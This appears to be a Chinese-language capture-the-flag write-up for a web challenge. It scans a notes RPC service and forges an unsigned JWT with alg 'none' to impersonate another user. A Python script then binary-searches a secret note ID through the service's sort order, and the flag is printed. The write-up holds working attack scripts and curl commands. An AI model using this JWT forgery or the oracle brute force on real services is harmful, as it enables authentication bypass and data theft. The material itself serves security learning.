当你打开题目链接后,你会看到以下内容:
可以在web题目的网站上找到相关说明:http://159.203.178.9/
在浏览器中打开此链接,你可以看到一个看起来很正常的HTML页面:
从页面上可以看出有个可以存储笔记的路径,某个笔记中包含了flag。页面的标题表明这道题目与RPC有关。
这让我想起我去年完成的一个CTF题目,我认为flag可能被隐藏在一个非80端口上。所以,我执行了一个基本的nmap端口扫描:
nmap -sT 159.203.178.9 -p1-65535
只打开了80和22端口。
我尝试了一些我一开始所想到的路径,比如/xmlrpc.php,/notes,/rpc等等,发现这些路径都不存在,于是我决定使用字典暴力猜解。
我使用了dirsearch和Jason Haddix整理的字典content_discovery_all.txt:
python3 dirsearch.py -u http://159.203.178.9/ -t 50 -w content_discovery_all.txt -e 'php,'
扫描了几分钟后,我得到两个结果!
· /README.html
· /rpc.php
让我们看一下这些路径的含义。
深层发掘
README页面的标题是“Notes RPC Documentation”。页面内容如下:
此服务提供了一种安全存储笔记的方法。它会让他们能够在以后检索它们。该服务将返回与笔记相关联的随机密钥。一旦密钥被销毁,就无法检索笔记。RPC接口通过该/rpc.php文件公开。可以通过参数调用调用method。每个笔记都存储在一个安全文件中,该文件由唯一的key,笔记和创建笔记时的epoch组成。
可以通过HTTP标头Authorization对服务进行身份验证。当提供有效的JWT时,该服务将对用户进行身份验证,并允许查询元数据,搜索笔记,创建新笔记以及删除所有笔记。
该服务需要有效的JWT(JSON Web令牌)才能执行身份验证。我们可以在服务中执行以下操作:
· 查询所有笔记的元数据
· 检索笔记
· 创建一个新笔记
· 删除所有笔记
这里没什么好看的。在标题为“版本控制”的页面中,提到了以下内容:
该服务正在不断优化。可以在请求的Accept头中提供版本号。目前,仅支持application/notes.api.v1+json。
似乎没有任何理由明确声明只允许使用v1。这看起来有点奇怪。但是现在我需要先搞清楚API的工作原理。
createNote()
我尝试使用cURL创建一个笔记:
curl 'http://159.203.178.9/rpc.php?method=createNote' -H 'Content-Type: application/json' -H 'Authorization: eiOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' -H 'Accept: application/notes.api.v1+json' -d '{"note": "This is my note"}'
得到以下响应:
{"url":"\/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6"}
正如预期的那样,由于文档已经声明“如果没有指定id,将会选择使用16位的随机字符作为id”。如果我们指定了一个任意的ID会发生什么?
curl 'http://159.203.178.9/rpc.php?method=createNote' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' -H 'Accept: application/notes.api.v1+json' -d '{"id":"test", "note": "This is my note"}'
下面是服务器的响应:
{"url":"\/rpc.php?method=getNote&id=test"}
我们可以将笔记ID设置为任意ID。
getNote()
如果你尝试使用getNote()方法访问相同的笔记会发生什么呢 ?
curl 'http://159.203.178.9/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' -H 'Accept: application/notes.api.v1+json'
下面是服务器的响应:
{"note":"This is my note","epoch":"1530279830"}
很好。但这个epoch参数的值代表了什么意思呢?看起来像是创建笔记的时间戳。使用date -r快速检查了之后确认它就是时间戳。
getNotesMetadata()
我们现在尝试获取笔记的元数据:
curl 'http://159.203.178.9/rpc.php?method=getNotesMetadata' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' -H 'Accept: application/notes.api.v1+json'
得到以下响应:
{"count":1,"epochs":["1530279830"]}
看起来count参数应该是笔记的数量,epochs是一个已存在的笔记的创建时间的列表。
让我们尝试创建一些新的笔记,看看会发生什么。我重复请求了几次createNote(),然后检查了元数据:
{"count":4,"epochs":["1530279830","1530281119","1530281120","1530281121"]}
正如我所预料到的,计数增加了。epochs的顺序似乎非常简单。最新的元素会被添加到列表的末尾。
让我们尝试重置笔记:
curl 'http://159.203.178.9/rpc.php?method=resetNotes' -H 'Content-Type: application/json' -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak' -H 'Accept: application/notes.api.v1+json' -d '{"note": "This is my note"}'
得到以下响应:
{"reset": true}
没有什么花哨的东西。为了确认这一点,我检查了元数据,果然,我创建的所有笔记现在都消失了。
通过上面的一系列操作,我们已经了解了服务中的所有方法,现在该做些什么呢?让我们看看我们是否可以以某种方式发现其中的漏洞。
我尝试更改Content-Type,完全删除Authorization标头,修改请求内容或者重放请求并保持HTTP头的长度正确。但没有任何作用 – 响应是{"authorization":"is invalid"}或{"authorization":"is missing"}。看来这里搞不出什么东西。
再次挖掘
我打开了Burp并测试了常用的发现异常的各种方法,但我找不到任何异常或奇怪的东西。虽然应用程序本身非常简单,但我可能已经错过了很多有用的东西。我在大学期间做过的一些在线寻宝的事情给了我灵感,我检查了README.html的源码并通过Ctrl + F'd查找了'<!–'看看是否有任何隐藏的注释信息。哈!我找到了。
这是一段注释信息,在页面中是看不见的。我应该早点看到这个的,不过现在找到了也总比没有好。这表明,我对API版本的猜测是正确的,确实有一些与API v2不一样的地方。v2使用了“优化的文件格式,在保存之前会根据唯一key对笔记进行排序”。我google了一下,看看能否找到这样的文件格式。在我的搜索结果中,我发现了Amazon RedShift:
Amazon Redshift根据排序的key以排序顺序将你的数据存储在磁盘上。
我后来意识到这条路走错了。为什么不直接调用API v2呢?
我按照与以前相同的过程,执行了以下步骤:
· 创建一个笔记时在url中指定作为id参数值。
· 获取文本的内容时指定note(文本内容)和epoch(时间戳)参数值。
· 获取笔记的元数据时服务器返回了响应内容。
· 重置笔记,将所有内容重置为初始状态。
一切似乎与v1是相同的。但是上面的注释信息已经提到v2使用了一些花哨的排序方式 – 让我们现在试验一下。在文档中,它说该方法“ 在保存之前会根据唯一key对笔记进行排序”。好吧,每个笔记都有两个参数 – – 笔记的ID(我们可以任意指定)和笔记内容。这里的唯一key就是笔记ID,这也是合乎逻辑的。让我们尝试用随机的ID创建更多的笔记,看看我们是否能有一些新的发现。
但这个事情是很机械的手工活儿,我讨厌一遍又一遍地重复相同的事情。我是自动化的忠实粉丝,用脚本可以做得更好。所以我使用awesome请求库和内置的json库快速编写了一个Python脚本。
代码如下:
#!/usr/bin/env python3 import json import requests as rq from base64 import b64decode def rpc(method, data=None, post=False): headers = { 'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak', 'Content-Type': 'application/json', 'Accept': 'application/notes.api.v1+json', } url = 'http://159.203.178.9/rpc.php?method={}'.format(method) if data: data = json.dumps(data) if post: # POST with params headers['Content-Length'] = str(len(data)) return rq.post(url, headers=headers, data=data) else: # GET with params return rq.get(url, params=json.loads(data), headers=headers) elif post: # POST without params return rq.post(url, headers=headers) # GET request without params return rq.get(url, headers=headers) def get_note(ident): r = rpc('getNote', data={'id': ident}) print(r.text) if r.status_code == 200: return r.json()['note'] def epochs(): r = rpc('getNotesMetadata') if r.status_code == 200: return r.json()['epochs'] return None def reset(): r = rpc('resetNotes', post=True) if r.status_code == 200: return r.json()['reset'] return None def create(ident, note='a'): r = rpc('createNote', data={'id': ident, 'note': note}, post=True) if r.status_code == 400: return False elif r.status_code == 201: return True return None
这是API函数的封装实现。现在,我们可以更轻松地与RPC轻松交互:
· create(id) 将创建具有指定ID的笔记。
· epochs() 会给你一个时间列表
· reset() 将重置笔记并恢复到初始状态。
现在让我们从我们刚才卡壳的地方开始 – 使用随机ID创建笔记。让我们尝试使用字母表作为ID键来创建一些笔记:
def main(): reset() for i in 'abcdefghijklmnopqrstuvwxyz': create(i) print(epochs()) sleep(1) if __name__ == '__main__': main()
响应看起来像下面这样:
['1530286994'] ['1530286994', '1530286996'] ['1530286994', '1530286996', '1530286998'] ['1530286994', '1530286996', '1530286998', '1530287000'] ['1530286994', '1530286996', '1530286998', '1530287000', '1530287002'] ['1530286994', '1530286996', '1530286998', '1530287000', '1530287002', '1530287004'] ... so on ...
很明显,最新创建的笔记会添加在列表的末尾。我用其他的随机字符串和数字继续创建了一些笔记。但我没有任何其他的想法。
我思考过应用程序是如何被设计出来的。其他人显然也在搞这个CTF挑战题目,但我只能创建与我的会话相关的笔记。
如果用户身份验证基于的是某些HTTP标头,那么我可能会尝试通过发送欺骗性的请求来绕过这一点。我试图从Host,X-Forwarded-Host这些HTTP头中入手,但无济于事。经过一些尝试,我得出一个结论,服务端可能用了基于IP的身份验证。
我觉得是时候回头想想,看看我是否错过了一些重要的东西(我通常这样做不断的反思之前的工作)。我再次阅读了文档,这次看的更加仔细。关于JWT的部分引起了我的注意。我之前没有探索过这里。
JWT!
那么什么是JWT?直接从jwt.io(感谢Auth0创建了这个优秀的网站)可以找到下面的内容:
JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且独立的方式,可以在各方之间作为JSON对象安全地传输信息。此信息可以通过数字签名进行验证和信任。JWT可以使用密钥(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。
来自维基百科:
JWT通常有三个部分:标头,有效载荷和签名。标头标识用于生成签名的算法,看起来像下面这样:
header = '{"alg":"HS256","typ":"JWT"}'
让我们执行之前的操作,获取我们的JWT授权标头。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. eyJpZCI6Mn0. t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak
这是我们的JWT(为了可读性我换行分割了)。第一部分是标头,第二部分是有效载荷,第三部分是签名。
签名计算如下:
key = 'secretkey' unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) signature = HMAC-SHA256(key, unsignedToken)
现在我们知道标头和有效载荷是base64编码的,我们可以很容易地得到实际的文本值:
$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | base64 -D {"typ":"JWT","alg":"HS256"}
继续解码剩余文本。
$ echo 'eyJpZCI6Mn0=' | base64 -D {"id":2}
你可以注意到,那里有一个ID!我猜测它可能是用户ID并且应该不存在安全问题。之前的操作,我们一直是在创建/查看/重置ID为 2这个用户的笔记。
(请注意,我将=字符添加到了上面的base64字符串的末尾。虽然根据RFC 7515,填充操作在JWT中是可选的,但在解码时,你需要填充“=”字符来正确解码。)
我们可以使用jwt.io提供的漂亮的调试器来完成编码和解码。
jwt.io上的JWT调试器
我们可以尝试将ID更改为其他内容。尝试id = 1是非常有意义的。
但是有一个问题。服务器会验证签名。我们需要用签名对我们的有效载荷{"id": 2}加签。为此,我们需要创建签名的密钥,但我们并不知道。
在某些情况下,肯定可以破解那些用弱密钥签名的JWT。我花了一些时间来爆破JWT。但爆破无果。所以我开始寻找与JWT相关的漏洞。
有趣的是,我发现了一种叫做none的算法。它可以用于已经验证了令牌完整性的情况。这个算法和HS256是唯一必须实现的两种算法。
如果服务器的JWT在实现中将none算法签名的令牌视为已经经过验证的签名的有效令牌,那么我们就可以使用任意的有效载荷来创建我们自己的“签名”令牌。
创建这样的令牌非常简单:
· 将标头的HS256更改为{"alg": “none"}。
· 将有效载荷更改为{"id": 1}。
· 签名使用空字符''。
让我们使用可用的JWT获取密文(我使用PyJWT):
In [1]: import jwt In [2]: encoded = jwt.encode({"id": 1}, '', algorithm='none') In [3]: encoded Out[3]: 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.'
现在我们有了JWT,我们可以在用户id 1的会话下创建笔记了; 我们需要做的就是将Authorization标头更改为这个新的JWT。
我还是像之前一样使用小写字母进行了测试,并且与之前的情况一样。服务器不断将新笔记的epoch 添加到列表的末尾。如果我尝试使用大写字母会怎么样呢?
['1528911533'] # Initial state ['1530295850', '1528911533'] # After inserting note with id = 'A' ['1530295850', '1530295852', '1528911533'] # B ['1530295850', '1530295852', '1530295854', '1528911533'] # C ['1530295850', '1530295852', '1530295854', '1530295856', '1528911533'] # D ['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533'] # E ['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', **'1530295860'**] # F ['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', '1530295860', '1530295862'] # G
在出现了1530295860的地方发生了模式中断(特别是在插入F之后)。它没有插入到最后。好吧,这怎么可能?!
突破
经过一段时间的思考后,结论让我感到震惊!这些笔记是按字典顺序排列的!
假设笔记的ID为bar。然后,如果我们添加带有按字典顺序<(小于)bar(例如abc)的ID的新笔记,它将被插入到bar之前的位置; 如果它是按字典顺序> bar(例如zap),它将在bar之后插入。
所以服务器似乎用了某种比较特殊的排序功能。我们需要更多地了解排序的工作原理。好吧,我们可以查看源代码,看看它是如何工作的,但我们无法访问源代码。因此,我选择插入更多的随机笔记(不是非常随机,我选择性的使用了一些可以让我们能更深入的了解所使用的分类技术的样本)。
我检查了各种字母序列的顺序(我写了一个小脚本),并得到了以下输出:
['00', '000', '01', '001', '09', '0Z', '0a', '0z', 'A', 'A9', 'AA', 'AZ', 'Az', '<secret>', 'Z', 'ZZ', '0', 'a', 'a0', 'a1', 'a9', 'aZ', 'aa', 'ab', 'az', 'b', 'c', 'z', 'zz', '1', '9', '99']
<secret>是存放flag笔记的ID的位置。起初这对我来说没什么意义。如果我忽略每个字符串的第一个字母,那一切看起来都很正常。如果我不忽略第一个字母,由于某种原因,1和9就出现在了右边那里。
经过进一步测试,我做出了以下推论:
· ab< abc<ac
· ab < abc
· a9b < 0z
· a < aa
· aa < aaa
· 等等 …
所以从技术上来说,这并不是排序算法中的一个小bug,我相信这个CTF挑战题目的作者想要让它变得更难,所以他可能会加入这种不寻常的想法。
如果我们要实现题目中使用的这种字符串比较技术,我们可以想出下面这样的代码:
letters = 'abcdefghijklmnopqrstuvwxyz' letters = letters.upper() + letters # 1 if a > b # 0 if a = b # -1 if a < b def compare(string_a, string_b): global letters for i, (a, b) in enumerate(zip(string_a, string_b)): if i == 0: alpha = '0123456789' + letters else: alpha = letters + '0123456789' a_ind, b_ind = alpha.index(a), alpha.index(b) if a_ind < b_ind: return -1 elif a_ind > b_ind: return 1 if len(a) < len(b): return -1 elif len(a) > len(b): return 1 return 0
既然我们已经知道题目是如何进行密钥比较的,那接下来我们就可以努力的寻找密钥。
暴力猜解
我们从文档中了解到一些规则:
· ID必须与以下正则表达式匹配[a-zA-Z0-9]+。
· ID可以超过16个字节。
一种天真的方法是尝试每一个可能的密钥。不过这需要很多时间和要求。
我们还知道下面几个事实:
· 我们需要创建具有任意ID的新笔记,并推断包含flag的笔记是在之前还是之后。
· 我们只能使用比较运算符。
· 搜索空间是已知的 [a-zA-Z0-9]+。
这叫二分搜索!它非常简单。我们只需要自动化暴力猜解并将二分搜索集成到其中。
我的脚本(brute_secret_note.py)看起来像下面这样:
#!/usr/bin/env python3 import json from base64 import b64decode import requests as rq def rpc(method, data=None, post=False): headers = { 'Authorization': 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.', 'Content-Type': 'application/json', 'Accept': 'application/notes.api.v2+json', } url = 'http://159.203.178.9/rpc.php?method={}'.format(method) if data: data = json.dumps(data) if post: # POST with params headers['Content-Length'] = str(len(data)) return rq.post(url, headers=headers, data=data) else: # GET with params return rq.get(url, params=json.loads(data), headers=headers) elif post: # POST without params return rq.post(url, headers=headers) # GET request without params return rq.get(url, headers=headers) def get_note(ident): r = rpc('getNote', data={'id': ident}) if r.status_code == 200: return r.json()['note'] def epochs(): r = rpc('getNotesMetadata') if r.status_code == 200: return r.json()['epochs'] return None def reset(): r = rpc('resetNotes', post=True) if r.status_code == 200: return r.json()['reset'] return None def create(ident, note='a'): r = rpc('createNote', data={'id': ident, 'note': note}, post=True) if r.status_code == 400: return False elif r.status_code == 201: return True return None def where(a, b): for i, (x, y) in enumerate(zip(a, b)): if x != y: return i return min(len(a), len(b)) def search(head, secret=0): if head is '': alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' else: alpha = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' i_min, i_max = 0, len(alpha) - 1 old_epochs = epochs() tries = [] while i_min + 1 != i_max: print('Search space: ', end='') for i, c in enumerate(alpha): print(['\x1B[0m', '\x1B[7m'][(i_min <= i) and (i <= i_max)] + c, end='') print('\x1B[0m') i = (i_max + i_min) // 2 print('Trying', head + alpha[i]) r = create(head + alpha[i]) new_epochs = epochs() ind = where(old_epochs, new_epochs) old_epochs = new_epochs if r is None: print('Something has gone terribly wrong.') exit(1) elif r is False: secret_note_id = head + alpha[i] return secret_note_id if ind <= secret: secret += 1 i_min = i elif ind > secret: i_max = i return search(head + alpha[i_min], secret) reset() secret_note_id = search('') print('\nFound secret note ID: {}'.format(secret_note_id)) encoded_flag = get_note(secret_note_id) decoded_flag = b64decode(encoded_flag).decode('utf-8') print(u'\nFlag found 💃💃💃: {}'.format(decoded_flag))
运行脚本:
python3 brute_secret_note.py
代码实现原理
search()是最重要的功能。很容易想到search() 只是试图找到最后一个字母,然后我们让它自己调用自己。第一个if语句的存在,是因为第一个字母的排序与其余字母的排序不同。对于第一个字母'0'> 'z',但对于其余的字母,'0'是最小的字母。
按照字母进行分类后,它首先检查第一个字母,然后继续按照字母分类。例如:’abc’> 'abb'> 'aac'。
alpha只是按排序顺序排列的字母。i_min和i_max是我们正在寻找的字母表中的界限。
首先,所有的字母都在我操作的范围内。i_min为0,i_max是最后一个字母。使用二分搜索,我把第一个字母放在我的界限中间。(i_min + i_max) // 2用于找到这个最中间的部分。然后我将标头(最初是一个空字符串)和找到的字符拼接形成一个笔记ID并创建一个带有该ID的笔记。
search()函数的最后一部分会设置下一次迭代的边界。当createNote()返回false时,表示我们已经到达结尾,然后返回。
一旦我们找到了包含flag的笔记ID,我们就用该ID 调用getNote(),base64解码响应的内容后,我们就得到了flag:
702-CTF-FLAG: NP26nDOI6H5ASemAOW6g